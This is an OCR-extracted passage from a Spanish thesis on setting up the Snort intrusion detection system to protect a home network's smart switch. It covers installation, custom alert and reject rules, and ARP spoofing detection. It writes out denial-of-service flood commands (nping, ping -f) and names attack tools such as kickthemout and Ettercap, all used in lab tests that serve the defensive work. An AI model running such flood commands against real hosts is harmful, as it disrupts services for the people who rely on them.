No. | Caracteristicas gl g 2l | sl S| E &8 2 &8 &
1 | Virtualizacion 9| x X X X X X X
Alertas en tiempo
2 | real 9| x X X X X X X X
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Personalizacion
3 | dereglas 9| x X X X
4 [ Modo NIDS 9| x X X X X X X
5 [ Solo IDS 10 | x X X X
6 | Open Source 9| x X X X X
7 | Multiprocesador 9 X X X
Protocolo
Modbus 9| x X X X X X
9 | Multiplataforma 9| x X X X X X X X X X
10 | Automatizacion 9| x X X X X X X X X
Experiencia de
11 | los investigadores 9| x
Totales 100 | 91| 81| 46| 64| 72| 45| 36| 55| 36| 54

Fuente: Modelo para la gestion de incidentes de seguridad en redes industriales SCADA a

través del algoritmo de prediccidn Filtro Kalman [46]

En la Tabla 7 se hace la comparacién de unas caracteristicas establecidas que deben cumplir los
sistemas versus los diferentes sistemas de intrusos investigados. Se marca con una “x” si el sistema
cumple con dicha caracteristica, adicional a esto a cada caracteristica se le agregd un valor “peso”
para asi poder sumar y determinar cuadl es el sistema con mejor puntuacidn. A la final el sistema
elegido y que mejores caracteristicas obtuvo fue el SNORT, sistema el cual se decidié implementar

en la investigacion presente.

2.3.3 Instalacion/configuracion software de monitoreo en la
red

Para la instalacidon e implementacion del sistema Snort se debe utilizar la arquitectura comun y
corriente de un hogar, es decir, la arquitectura de red que tendria un hogar sin intervencion de un
experto, solamente como se instala la red al pagar por el servicio de internet a un proveedor. La

arquitectura comun y corriente es la siguiente y es con la cual se trabajé (Figura 62):
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Figura 62 : Arquitectura de red Snort

( ) Internet

| -
I Enrutador:
192.168.1.1
: . Smart TV
N . 192.168.1.4
. ? @
Sno:t;zir:'&";ﬂdo i=[55 smart Switch
o e 'T 19216818
7 =
Portatil
192.168.7 ® @

Fuente: Autor

El sistema elegido para instalar el sistema de Snort fue un ambiente virtualizado con el sistema
operativo de Ubuntu en su version 18.04. La maquina configurada cuenta con los siguientes

recursos (Figura 63):

Figura 63 : Recursos en maquina virtual
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l_'|:| Ubuntu 18

P Power on this virtual machine
[ Edit virtual machine settings
[[¥ Upgrade this virtual machine

¥ Devices
EMemaory
Z:: :ZF'rDcessnrs
£\ Hard Disk (SCSI)
(%) CD/DVD (SATA)
{=) CD/DVD 2 [SATA)
[EllFloppy
S0 Metwork Adapter
[] USE Centroller
o]t Sound Card

Serial Port
[_1Display

2 GB

2

50 GB

Using file ChlUse...
Using file C\Use...
Auto detect
Bridged (Autom...
Present

Auto detect
Using named pi...
Auto detect

Fuente: Autor

La maquina virtual cuenta con 2 GB de memoria ram, 2 procesadores virtuales y un disco duro de

50 GB, Snort por lo general no requiere de gran capacidad de cOdmputo para operar.
La instalacién de snort es bastante simple de realizar toda vez con la configuracion bdsica de snort
se pueden configurar las reglas requeridas en la investigacidn. Primero es el comando de instalacion

con el “apt-get” (Figura 64):

Figura 64 : Instalacion Snort apt-get

root@alex-virtual-machine: fhome/alex# sudo apt-get install snort*

Fuente: Autor

Al finalizar la instalacién nos debe aparecer un mensaje asi Figura 65
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Figura 65 : Finalizacién de instalacion

[ Number of patterns truncated to 20 bytes: 1839 ]
pcap DAQ configured to passive.

Acquiring network traffic from "ens33".

Reload thread starting...

Reload thread started, thread 8x7f9066aa2780 (3089)
Decoding Ethernet

--== Initialization Complete ==--

-*> Snort! <*-

Version 2.9.7.8 GRE (Build 149)

By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014 Cisco and/for its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.

Using libpcap version 1.8.1

Using PCRE version: 8.39 2016-06-14

Using ZLIB version: 1.2.11

Rules Engine: SF_SMNORT_DETECTION_ENGINE Version 2.4 <Build 1=
Preprocessor Object: SF_DNP3 Version 1.1 <Build 1>
Preprocessor Object: SF_POP Version 1.0 <Build 1=
Preprocessor Object: _DNS Version 1.1 <Build 4=
Preprocessor Object: SMTP Version 1.1 <Build 9=
Preprocessor Object: SF_GTP Version 1.1 <Build 1>

Fuente: Autor

Como se puede observar, se instald y se trabajé con la version 2.9.7.0 de Snort. Una vez instalado

se revisa el servicio en ejecucion con el comando ps aux | grep snort (Figura 66)

Figura 66 : ps aux | grep snort

root@alex-virtual-machine: fhomefalex# ps aux | grep snort
1485 0.1 7.9 599780 154268 ? Ss1 11:32 0:85 fusr/sbin/
-m 827 -D -d -1 jfvar/log/ -u -g -c fetc/ / .conf -5
HOME_NET=[192.168.0.0/24] -1 ens33

root 11357 21.8 0.0 21536 16008 pts/fe 12:59 0:00 grep --color=
auto
root@alex-virtual-machine: /home/alex# I

Fuente: Autor

Con este comando se puede notar el servicio en ejecucién, se puede ver el usuario Snort es quien
esta corriendo dicho proceso. Para iniciar o detener el servicio se utilizan los comandos sudo

[etc/init.d/snort stop y sudo /etc/init.d/snort start.
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A continuacion, se debe ingresar al archivo de configuracion de Snort y cambiar la variable de red,

el archivo se puede encontrar en la ruta fetc/snort/snort.conf.

Se edita el archivo y le indicamos la subred en la cual Snort va a trabajar en su variable SHOME_NET,

para este caso es la 192.168.1.0/24 (Figura 67)

Figura 67 : Configuracidon archivo snort

root@alex-virtual-machine: /homefalex

# t e ared object rule set
g e R R

S tep #1F t the ne s. For more info , see README.varia

L L L L L L L L 8 18 8 1 18 L 18R BRI R s

.t‘_" C
E
E
=
=
% |

ipvar HOME_NET 192.168.1

# Set up the
ipvar EXTERNAL
.t_l- E

Fuente: Autor

Para una configuracidn basica lo siguiente es cargar las reglas que Snort utiliza para la deteccién de
intrusos, para este ejercicio se generd unas reglas personalizadas. Estas reglas se habilitan y se

llaman en el archivo de configuracion /etc/snort/snort.conf (Figura 68).

Figura 68 : Reglas permitidas
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root@alex-virtual-machine: /homefalex

H R R AR

:
#
#
#
#
=
#
#
#
=
#
#
#
=
#
#
#
#
#
#
#13

_ ULF_PATH,
de $RULE_PATH

Fuente: Autor

Las reglas que se vayan a utilizar se les quita el simbolo # para que funcione o si no el sistema
pensard que es un comentario. La Unica regla habilitada es la regla personal llamada
“misreglas.rules”, mas adelante se comentard sobre su contenido, esta regla se ingresa

manualmente en el archivo snort.conf de configuracién.

Lo siguiente es probar los distintos modos del snort, el primer modo es en su estado Sniffer (Figura
69). Para iniciar en Sniffer mode se utiliza el comando sudo snort -v, con el pardmetro -v este solo

muestra la informacion de la cabecera del paquete (IP /TCP/UDP/ICMP). El trafico se ve asi:
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Figura 69 : Snort modo Sniffer

WARNING: No preprocessors configured for policy 0.
04f30-23:19:12.0685998 191.238.216.19:443 -> 192.168.0.30:49770
TCP TTL:186 TOS:0x0 ID:31775 IpLen:20 DgmLen:591 DF

**¥*¥AP**F Seq: Ox8F33498B Ack: 0xB5E43056 Win: 0x402 TcpLen: 20

=t+=t=t=t=t=t=Ft=Ft=F=t+=t=t=t=Ft=+=t=Ft=Ft=t=t=Ft=t=+=F+=t=+=t=+=t=+=+=+=F+=+=4+=+=+

WARNING: No preprocessors configured for policy 0.

04/30-23:19:12.086001 192.168.0.30:49770 -> 191.238.216.19:443

TCP TTL:128 TOS:0x0 ID:30084 IpLen:20 DgmLen:40 DF

**kxpkkkk Seq: @XBSE43056 Ack: 0x8F334BB3 Win: 0x400 TcplLen: 20
=t=t=+=+=t=+=t+=t+=t+=+=t=+=+=t=t+=t+=4+=t+=+=t=t+=+=t+=t=+=+=t=+=t+=4+=+=t=4+=+=+=+=+

Fuente: Autor

Lo siguiente es probar Snort en Sniffer mode pero con lectura adicional de la capa de datos del

paquete, mediante el comando sudo snort -vd (Figura 70)

Figura 70 : Snort modo Sniffer con lectura de capa de datos

WARNING: No preprocessors configured for policy ©.
04/30-23:20:49.388060 34.236.200.201:443 -> 192.168.0.30:65113
TCP TTL:238 TOS:0x0 ID:29957 IplLen:20 DgmLen:418 DF

**k*kApP*** Seq: Ox4A123DCE Ack: 0xB3216DOE Win: Ox4EE Tcplen: 20
17 @3 03 01 7v5 CD D1 7D 4C 11 78 DE C9 4B EF CD

B9 56 B® FB F8 5B AE 3C 42 41 EB C5 20 OC E1 BD

E4 9E 91 01 E5 %6 BV 44 49 67 A8 BA BC DO 44 45

B5 ED F1 C9 1D 77 D8 49 C6 92 39 B8 10 BO 8C FD

83 46 BB 67 E4 B2 OA 11 DF FD BC 69 34 0D CF 5F

8A D7 E6 79 C3 02 F4 6D 3A 5F 24 2A DD 29 7B 17

AD 80 D1 AO C6 21 CB F3 C3 CE 52 DF CA 24 01

47 74 60 CC V3 BF E©® DF 7A 45 EB EC 33 F8 85

B4 95 24 F7 51 27 00 2E 81 FF E4 07 DO 29 DB

B5 DE C& 81 32 48 AB 21 8C DF F6 7F 87 3A DA

28 13 66 4D E1 BO® C6 BC 13 34 56 27 7E C8 10 88

F3 94 78 31 C4 7F FD 4B 19 F1 @A E4 66 3A OC

45 F2 25 D3 28 9A DD 4A 77 82 6B 97 46 D2 92

DF E6 ©3 DO EO 15 40 BB 17 16 92 A2 BB F6 40 2C

4D 1B 78 38 9E Al FF 67 A2 33 55 6C A6 06 AB BE

7F 53 29 81 10 98 CO® A4 1F 76 31 5F 12 54 9D @2

26 59 4C 66 68 C8 C4 EO 1E 6D E9 AE B1 CB ED 7A

FC D6 47 8C C8 A8 02 30 22 A4 6F 46 C3 5E o6F

77 A2 BB E3 C4 43 A6 OE EA 3A 3F F7 42 BT B1

CC DB FC 86 51 63 31 51 E1 97 C7 27 4A D5 F2 DO ] P
4A 6D OB 4D 56 53 54 55 53 3E F5 A5 56 OE E@ Im.MVSTUVS=..V..
44 1C 4E 5F 30 DE 75 9F DC E4 42 63 79 77 29 D.N_0O.u.c..Bcyw)
DB A@ S9A F8 FE 37 83 C9 15 6C B4 40 9D A6 3F

BC 58 A2 S5E 15 18 C9 13 Da

Fuente: Autor
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Se aprecia esta vez la lectura de los datos que contiene el paquete en especifico. El siguiente modo
es en Log mode. Este modo es Util para exportar el trafico de la red y guardarlo en archivos para

analizarlos posteriormente en otras herramientas, como por ejemplo en Wireshark o TCPdump.

Con el comando snort -de -l /etc/snort/log, le indicamos a snort que arranque en modo Log, el
pardmetro -l establece el modo y se le especifica la ruta donde guardara el archivo. El parametro -

de indica que va a guardar los datos de la capa de aplicacion y los datos de capa dos.
Al revisar la ruta de guardado se encuentra lo siguiente (Figura 71):

Figura 71 : Log recogido por Snort

root@alex-virtual-machine: fetc/snort/log# 1s
total 116

drwxr-xr-x 2 root root 4096 may 1 20:03
drwxr-xr-x 4 root root 4096 may 1 19:28
1 root root 109979 may 1 20:85 snort.log.1556759021

Fuente: Autor

Se encuentra un archivo de tipo log, este archivo “snort.log.1556759021"” es compatible con las
herramientas de wireshark y Tcpdump como se habia dicho anteriormente. Al abrirlo en wireshark

se puede observar el trafico capturado por Snort (Figura 72):
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Figura 72 : Analisis de log de snort en Wireshark

Wireshark = mie 20007

snort.log.1556759021
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al 2@ @ XE Q< >V k=S

il (=] (a1 EE
| B I L

M| apply a display Filter ... <Ctrl-f>
Ho. Time Source Destination Protoco ~ JLength Info
65 16.532121 HuaweiTe_b6:.. Broadcast ARP 68 Who has 192.168
152 25.038895 Vmware_cl:cc.. Technico_57:60:. ARP 42 Who has 192.168
153 25.039467 Technico_57:.. Vmware_cl:cc:96 ARP 60 192.168.0.1 is
253 46.496997 HuaweiTe b6:.. Broadcast ARP 68 Who has 192.168
430 74.688216 Technico_57:.. Broadcast ARP 668 Who has 192.168
438 76.471896 HuaweiTe_bé6:.. Broadcast ARP 68 Who has 192.168
445 77.006582 Vmware_cl:cc.. Technico_57:60:. ARP 42 Who has 192.168
446 77.008362 Technico_57:.. Vmware_cl:cc:96 ARP 60 192.168.0.1 is
70 17.822547 192.168.8.38 1968.157.8.33 DNS 78 Standard query
73 17.839788 196.157.8.33 192.168.0.30 DNS 212 Standard query
74 17.840823 192.168.8.30 190.157.8.33 DNS 79 Standard query
75 17.851421 196.157.8.33 192.168.8.38 DNS 95 Standard query
82 17.964621 192.168.0.30 190.157.8.33 DNS 80 Standard query
84 17.998383 192.168.8.38 198.157.8.1 DNS 88 sStandard query
85 17.990627 196.157.8.33 192.168.0.30 DNS 178 Standard query
86 17.991214 192.168.0.30 198.157.8.33 DNS 85 Standard query
87 18.807216 196.157.8.33 192.168.8.30 DNS 161 Standard query
S0 40 A0To%T 407 480 &6 96 406 AT O 9% (a1l SR Ctnandard mmaomess

Frame 28: 183 bytes on wire (824 bits), 183 bytes captured (824 bits)

Ethernet II, Src: HuaweiTe_b6:5a:c6 (84:be:52:b6:5a:c6), Dst: IPvdmcast_thb (91:
Internet Protocol Version 4, Src: 192.168.8.21, Dst: 224.0.8.251

User Datagram Protocol, Src Port: 5353, Dst Port: 5353

Multicast Domain Name System (query)

v v wvrow

Fuente: Autor

Por ultimo, el modo de deteccién de intrusos, para ejecutar este modo primero debemos tener
listas las reglas. Para este laboratorio se configuraron 3 reglas las cuales se explican mas adelante.

Las reglas personales se deben guardar en la ruta /etc/snort/rules (Figura 73).

Figura 73 : Directorio de reglas snort
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es [ Terminal = vie 16:31
root@alex-virtual-machine: fetc/snort/rules

File Edit View Search Terminal Help

root@alex-virtual-machine: /etcfsnort/rules# 1s

attack-responses.rules community-web-iis.rules p2p.rules
backdoor.rules community-web-misc.rules policy.rules
bad-traffic.rules community-web-php.rules pop2.rules
chat.rules ddos.rules pop3.rules
community-bot.rules deleted.rules porn.rules
community-deleted.rules dns.rules rpc.rules
community-dos.rules dos.rules rservices.rules
community-exploit.rules experimental.rules scan.rules
community-ftp.rules exploit.rules shellcode.rules
community-game.rules finger.rules smtp.rules
community-icmp.rules ftp.rules snmp.rules
community-imap.rules icmp-info.rules sql.rules
community-inappropriate.rules icmp.rules telnet.rules
community-mail-client.rules imap.rules tftp.rules
community-misc.rules info.rules virus.rules
community-nntp.rules local.rules web-attacks.rules
community-oracle.rules misc.rules web-cgi.rules
community-policy.rules misreglas.rules web-client.rules
community-sip.rules misreglas.rules.save web-coldfusion.rules
community-smip.rules misreglas.rules.save.1l web-frontpage.rules
community-sql-injection.rules multimedia.rules web-iis.rules
community-virus.rules mysql.rules web-misc.rules
community-web-attacks.rules netbios.rules web-php.rules
community-web-cgi.rules nntp.rules x11l.rules
community-web-client.rules oracle.rules

community-web-dos.rules other-ids.rules

Fuente: Autor

Dentro de esta ruta se encuentra el archivo con las reglas personalizadas que se crearon, el archivo
es denominado “misreglas.rules”. Las reglas establecidas en este archivo nos sirven para detectar

los diferentes ataques de denegacion de servicio definidos previamente (Figura 74).

Figura 74 : Regla personalizada Snort
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root@alex-virtual-machine: fhome/alex

GNU nano 4.8 etc/snort/rules/misreglas.rules Modified

reject icmp any any -> 192.1 .8 A e de ti ene i e servici hreshold: type both, track b

reject tcp any any -> 192.168.1.8 any (msg:"Ataque de tipo Denegacion de servicio";flow:to_server;threshold: type both|
reject udp any any -> 192.168.1.8 any (msg:"Ataque de tipo Denegacion de servicio UDP";flow:to_server;threshold: type

Fuente: Autor

Para poder detectar los ataques de tipo ARP se configurd el preprocesador dentro de snort para
qgue haga dicho trabajo. En el manual de configuracion de snort nos muestra la estructura basica

para implementar y habilitar dicho preprocesador [49].

Figura 75 : Estructura configuracion preprocesador snort

The third example configuration has unicast detection enabled.

preprocessor arpspoof: -unicast
preprocessor arpspoof_detect_heost: 192.168.4
preprocessor arpspoof _detect host: 192.168.4

f@:ef:ee
fa:af:a1

.F
f:

@.1 ta:af:aa:
@, 2 ta:aftaa:

Fuente: Documentacion Snort [49]

Donde se debe especificar la IP y la direccion MAC del dispositivo que queremos vigilar (Figura 75).
Esta configuracidon se debe hacer en el archivo de /snort.conf, el cual es el archivo raiz de la
configuracién de snort. Se configura con el parametro de -unicast toda vez los paquetes de ARP son
de tipo unicast o en otras palabras viajan hacia un destino. Asi se configura para la investigacidon

presente

Figura 76 : Estructura configuracién preprocesador snort

t Manual

: -unicast

tF5:A5:AC: 68
t7F:A7:A1:EE

Fuente: Autor


http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node17.html#SECTION003215000000000000000
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Donde la IP 192.168.1.1 corresponde al enrutador y el 192.168.1.8 corresponde al Smart switch
(Figura 76). Se debe vigilar igual al enrutador toda vez también es victima de los ataques a su tabla
ARP. El siguiente paso es habilitar las alertas del preprocesador, para habilitarlas se debe ir al

mismo archivo /snort.conf y habilitar |a siguiente linea de cédigo (Figura 77):

Figura 77 : Configuracion alertas preprocesador

L L L L L L L L L L L 88

r and nprenr

anlu-jc SPREPROC_RULE_ PATH

Fuente: Autor

Al instalar snort este no quedd con el directorio de “preprocessor.rules” entonces haciendo una
busqueda se pudo obtener de un proyecto en Github, https://github.com/threatstream/snort. Se
debid copiar el directorio de “prepocessor_rules” en el directorio de snort para que funcionara las
alertas del preprocesador. Al configurar el preprocesador se habilitan las reglas correspondientes,
dentro del archivo de “preprocessor.rules” se encuentran las alertas que se activan ante los

ataques al protocolo ARP (Figura 78):

Figura 78 : Reglas del preprocesador ARP

ial root@alex-virtual-machine: fetc/snort/preproc_rules Q

GNU nano 4.8 preprocessor.rules Modified

alert ( msg: "TAG_LOG_PKT"; sid id: 2; rev: 1; metadata: rule-type preproc ; classtype:not-suspicious; )

alert msg: "BO_TRAFFIC_DETECT"; si 1; gid: 10 rev: 1; metadata: rule-type preproc, policy balanced-ips drop, polf

alert msg: "BO_CLIENT_TRAFFIC_DETECT sid: 2; gid: 105; rev: 1; metadata: rule-type preproc, policy balanced-ips drg
msg: "BO_SERVER_TRAFFIC_DETECT sid: 3; gid: 185; rev metadata: rule-type preproc, policy balanced-ips drg
msg: "BO_SNORT_BUFFER_ATTACK sid: 4; gid: 10 ev: 1; metadata: rule-type preproc, policy balanced-ips dropg
msg: " A A m3 gid: 106 metadata: rule-type preproc, service sunrpc ; classtype:prog
msg: " 7 _ 2; gid: ; metadata: rule-type preproc, service sunrpc ; classtype:[g

msg: ; gid: A : 1; metadata: rule-type preproc, service sunrpc, policy sg
msa: : 5: aid: ; rev: 1; metadata: rule-type preproc, service sunrpc, policygd
msg: 2 _UNICAST_A ) id: 1] B ; rev: 1; metadata: rule-type preproc ; classtype:protocog
msg: "A A A SMA SRC" i ; gid: 11 ev: 1; metadata: rule-type preproc ; classtypegd
msg: HRPHPDDF ETHERFRAME ARP MI»MATCH i 5 gid: 11 1; metadata: rule-type preproc ; classtypejg

(
(
(
(
(
(
( msg: " - A i 3; gid: 106; rev: metadata: rule-type preproc, service sunrpc, policy securg
(
(
(
(
(
( msg: "ARPSPOOF_ARP CACHE OVERWRITE ATTACK"; sid: 4; gid: ; rev: 1; metadata: rule-type preproc ; classtype:H

Fuente: Autor


https://github.com/threatstream/snort
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Por ultimo, es muy importante habilitar la linea de cddigo que permite que Snort guarde sus alertas
en el archivo de “auth.log” de nuestro sistema operativo (Figura 79). En el mismo archivo de

snort.conf

Figura 79 : Habilitar Logs del sistema

=

s5yslLog
output alert_syslog: LOG_AUTH LOG_ALERT

Fuente: Autor

Ahora para ejecutar snort en modo deteccidn y que utilice las reglas configuradas utilizamos el
comando snort -d -h 192.168.1.0/24 -A console -c /etc/snort/snort.conf -i ens33 -s, donde -A
console indica el modo alerta por consola, -i indica la interfaz de escucha, -c indica la ruta del
archivo configuracidn con las reglas establecidas, -s indica que envie las alertas al syslog y -d indica
que revise la capa de aplicacién. Cuando Snort detecta una alerta la muestra de la siguiente manera

(Figura 80).

Figura 80 : Alertas mostradas por snort

05/03-17:01:13.961358 [**] [1:8001:0] Nos estan haciendo un ping [**] [Priorit
y: 0] {ICMP} 192.168.0.30 -> 192.168.0.29

05/03-17:01:13.961358 [**] [1:384:5] ICMP PING [**] [Classification: Misc acti
vity] [Priority: 3] {ICMP} 192.168.0.30 -> 192.168.08.29

05/03-17:01:13.961387 [**] [1:408:5] ICMP Echo Reply [**] [Classification: Mis

c activity] [Priority: 3] {ICMP} 192.168.0.29 -> 192.168.0.30
85/03-17:01:14.96137@ [**] [1:382:7] ICMP PING Windows [**] [Classification: M
isc activity] [Priority: 3] {ICMP} 192.168.0.30 -> 192.168.0.29
05/03-17:01:14.961370 [**] [1:8001:0] Nos estan haciendo un ping [**] [Priorit
y: 8] {ICMP} 192.168.0.30 -> 192.168.0.29

Fuente: Autor

Es muy importante revisar que las alertas configuradas si estén quedando guardadas en el archivo
de “Auth.log”, con el siguiente comando se puede revisar las ultimas lineas registradas en el “tail -
f /var/log/auth.log”. Si por algin motivo no se evidencian cambios en el archivo de log, se debe
verificar bien que el comando de snort este correctamente digitado como se mostré anteriormente

y que su archivo de configuracion tenga los pardmetros mostrados previamente. A veces puede
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gue sea necesario reiniciar el servicio de syslog, toda vez este servicio es quien escribe los logs en

Ubuntu, con el comando “sudo service rsyslog restart”.

2.3.4 Creacion de reglas basadas en los indicadores de
compromiso hallados

La estructura bdsica de una regla se explica de la siguiente manera:

Figura 81 : Alertas mostradas por snort

| destination ip address ‘
| Apply to all ip packets ‘

\ Source |p address W

alert ip an any -> any any (msg: "IP Packet detected";)

N
| Rule options |

| Alert will be generated if criteria met |

Rule header

Fuente: What is Snort? [50]

La regla se divide en dos partes, en la cabecera y en las opciones de la regla (

Figura 81). Enla cabecera se agrega la accidn (alert, block, reject), seguido del protocolo (tcp, udp,
icmp, etc) luego la IP Origen, puerto origen, -> indica la direccion de fuente a destino, IP destino,
puerto destino. Las opciones de la regla pueden variar, las mds comunes son: mensajes, id Unico
para identificar el numero de la regla, parametros, revisién de la versidon de la regla para un

mantenimiento y el threshold el cual es el mas util que se detalla mas adelante.
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Regla para el ataque de Des-autenticacion

Cuando se realizé el ataque de Des-autenticacion con el software de “kickthemout” se evidencié el
manejo de los paquetes ARP en el indicador de compromiso, también se observd que habia
duplicidad en algunas IP en los registros de ARP, con este indicador se concluye que se debe vigilar
los paquetes ARP en la red. Una vez configurada el preprocesador para vigilar los paguetes ARP en
el snort, se ejecuta el ataque de “kickthemout” sobre la victima, el Sonoff y se obtienen las

siguientes alertas

Figura 82 : Alertas ARP en snort

[112:4:1] (spp arpspoof) Attempted ARP cache overwrite attack [**]

[129:12:1] Consecutive TCP small segments exceeding threshold [**] [Classification: Potenti
2] {TCP} 192.168.1.2:62667 -> 40.86.187.166:443

[112:4:1] (spp_arpspoof) Attempted ARP cache overwrite attack [**]

[129:15:1] Reset outside window [**] [Classification: Potentially Bad Traffic] [Priority: 2
192.168.1.2:64540

[129:12:1] Consecutive TCP small segments exceeding threshold [**] [Classification: Potenti

©3/24-19:59:31.297983 [**]
©3/24-19:59:37.709838 [**]
ally Bad Traffic] [Priority:
©3/24-19:59:41.342266 [**]
©3/24-19:59:41.971248 [**]
1 {TCP} 13.107.42.11:443 ->
©3/24-19:59:43.583596 [**]

: 2] {TCP} 192.168.1.2:64552 ->

Traffic] [Priority:

:59:50.485284 [**]

Traffic] [Priority:

[**]
[**]
[**]
[**]

:59:51.384550

:59:59.412180

Traffic] [Priority:

:00:00.629450 [**]

:00:01.429758
:00:03.997545

[**]

2] {TCP} 192.168.1.2:64576 -> 52.177.165.30:443

[129:12:1] Consecutive TCP small segments exceeding threshold [**] [Classification: Potenti

2] {TCP} 192.168.1.2:64557 -> 13.227.29.125:443

[112:4:1] (spp arpspoof) Attempted ARP cache overwrite attack [**]

[112:1:1] (spp_arpspoof) Unicast ARP request [*¥*]

[112:1:1] (spp_arpspoof) Unicast ARP request [*%*]

[129:12:1] Consecutive TCP small segments exceeding threshold [**] [Classification: Potenti

2] {TCP} 192.168.1.2:64557 -> 13.227.29.125:443

[129:5:1] Bad segment, adjusted size <= © [*#] [Classification: Potentially Bad Traffic] [P

52.114.74.45:443

[112:4:1] (spp_arpspoof) Attempted ARP cache overwrite attack [**]
Consecutive TCP small segments exceeding threshold

Classification: Potenti

Fuente: Autor

El preprocesador alerta el unicast repetitivo con el protocolo de ARP a las IP configuradas
previamente y alerta sobre una manipulacién en las tablas de ARP de los dispositivos (Figura 82),
con esta alerta configurada ya se pudo detectar el ataque de Des autenticacién al dispositivo Smart

switch.
Reglas para los ataques de denegacion de servicio

Como ya se analizd en el objetivo anterior, los ataques por denegacién por servicio son muy faciles
de ejecutar, es importante crear una regla con buena parametrizacién para evitar falsos positivos
en la red. Con la utilizacion del pardmetro “reject” el sistema de deteccidn de intrusos cancela las

peticiones de conexiones entrantes, lo cual ayuda a mitigar el ataque de DoS.
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Mediante el parametro “treshold” [51] se le configura a snort la capacidad para alertar cada x

cantidad de segundos y también segun la cantidad de alertas que llegan en un rango y de tiempo.

Por ejemplo, se le puede configurar que muestre la alerta de denegacién de servicio si la victima
recibe 30 paquetes TCP en 10 segundos. Con este pardmetro se evitan muchos falsos positivos y se
evidencian mejor los ataques recibidos.. Se crea la siguiente regla:
reject tcp any any -> 192.168.1.8 any (msg:"Ataque de tipo Denegacion de
servicio";flow:to_server;threshold: type both, track by_dst, count 30, seconds 10 ;sid:8008;rev:1;

Priority:1;)

Se le configura la opcion “both” para que tenga en cuenta la cantidad de alertas en 10 segundos y
gue cuente cada 30 paquetes detectados. La opcion “by_dst” es para que se fije en el destino, en
este caso el Smart switch y no le importe el origen del paquete, “count” es la cantidad de paquetes
a detectar y “seconds” es la frecuencia con la que va a mostrar la alerta. El parametro “sid”
establece el identificador Unico que se le pone a las reglas, “rev” hace referencia a la versidn de la
regla para posteriores optimizaciones y “Priority” establece la prioridad de la regla, con este

pardmetro se buscaran las alertas para enviar los correos.

El parametro “Flow” indica la direccidon en la que se va a analizar los paquetes para la regla
estipulada [52]. En este caso el Flow es hacia el servidor toda vez para este ejercicio el Smart switch
actia como el servidor y el atacante es el cliente, este parametro es util para eliminar falsos

positivos de la red.

Figura 83 : Alerta ataque de denegacidn de servicio

Ccommencing packet processing (pid:ESTS)
03/26-00:1 .196671 [**] [1:8008:1] Ataque de Denegacion de servicio [**] [Priority: ©] {TCP} 123.96.111.49:283

[*¥*] [1:8008:1] Ataque de Denegacion de servicio [**] [Priority: ®] {TCP} 79.187.211.136:54

63 -> 197 .168.
03/26/00:12:29 [#*] [1:8008:1] Ataque de Denegacion de servicio [**] [Priority: ®] {TCP} 218.92.138.228:46
077 -»_192.168.1.8:
03/26-00:12:39 [**] [1:80088:1] Ataque de Denegacion de servicio [**] [Priority: @] {TCP} 124.217.36.165:25

> 192.168.1.8:
03/26-00:12:49. [**] [1:8008:1] Ataque de Denegacion de servicio [**] [Priority: @] {TCP} 35.63.172.181:333
34 -> 192.168.1.8:80

Fuente: Autor

En la practica se logra observar que la alerta se dispara cada 10 segundos como fue configurada
(Figura 83), también se aprecia la IP de la victima y la IP del atacante, en este caso mediante el

ataque de HPING3.
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Ante el ataque por NPING con la misma regla se obtienen los mismos resultados con la regla
configurada. Esto es debido al threshold configurado toda vez este es el parametro que nos indica
que el dispositivo esta recibiendo demasiados paquetes en una cantidad corta de tiempo. El ataque
por NPING fue realizado con el comando

“nping --tcp-connect --rate=90000 -c 9000000 -q 192.168.1.8”, en el segundo objetivo se explican

los pardmetros utilizados.

El dltimo ataque establecido en la investigacidn de tipo flood fue el realizado con el comando de
“ping”. Este ataque nos reveld algo importante y es el de tener en cuenta el protocolo del paquete.
El ataque con ping se ejecuta con el comando “ping -f -s 56500 192.168.1.100”, pero como era de
esperarse este ataque utiliza paquetes de tipo ICMP y no de tipo TCP como se venia trabajando con
los ataques anteriores. Al utilizar la regla anterior para detectar la denegacién de servicio se
observé que no funcionaba, esto debido a que el ataque con “ping” utiliza otro tipo de protocolo,
el ICMP. Por lo tanto se procedid a crear una regla para la identificacion de ataques de denegacion
de servicio con los paquetes de tipo ICMP, la regla creada fue la siguiente:
reject icmp any any -> 192.168.1.8 any (msg:"Ataque de tipo Denegacion de servicio

ICMP";threshold: type both, track by_dst, count 30, seconds 10 ;sid:8009;rev:1; Priority:1;)

Donde se cambia el protocolo de TCP a ICMP, otro cambio a notar es que no se utiliza el parametro
de “Flow” toda vez snort no es capaz de identificar la direccidn del ataque con los paquetes ICMP.
Ahora se crea una regla para los ataques UDP, toda vez un atacante también podria utilizar este
protocolo en sus vulneraciones, la regla creada es igual a la de TCP, solo se cambia el protocolo:
reject udp any any -> 192.168.1.8 any (msg:"Ataque de tipo Denegacion de
servicio";flow:to_server;threshold: type both, track by_dst, count 30, seconds 10

;5id:8008;rev:1;)

Reglas para los ataques de hombre en el medio

Basicamente el patréon comun con los ataques del hombre en el medio es que estos necesitan
manipular las tablas ARP de los dispositivos a los cuales se les quiere hacer el dafio. Como ya

previamente se habia configurado el preprocesador de snort, este ataque con el software de
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ETTERCAP se hace de facil deteccion toda vez el snort estd monitoreando en tiempo real laIP y la
direccion MAC del dispositivo Smart switch. Cuando se ejecuta el ataque de ETTERCAP las alertas
gue se observan son las siguientes:

Figura 84 : Alerta de ataque ARP a Smart switch

Commencing packet processing (pid=6013)

03/27-20:09:08.916992 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack

:1] (spp_arpspoof) Attempted cache overwrite attack

:1] (spp_arpspoof) Attempted cache overwrite attack
(spp_arpspoof) Attempted cache overwrite attack

:1] (spp_arpspoof) Attempted cache overwrite attack

03/27-20:09:08.929469 [**] [112:4
03/27-20:09:08.929469 [**] [112:4
03/27-20:09:09.941452 [**] [112:4
03/27-20:09:09.952638 [**] [112:4
03/27-20:09:09.952639 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:10.963314 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:10.974092 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:10.974092 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:11.986015 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
03/27-20:09:11.997223 [**] [112:4:1] (spp_arpspoof) Attempted cache overwrite attack
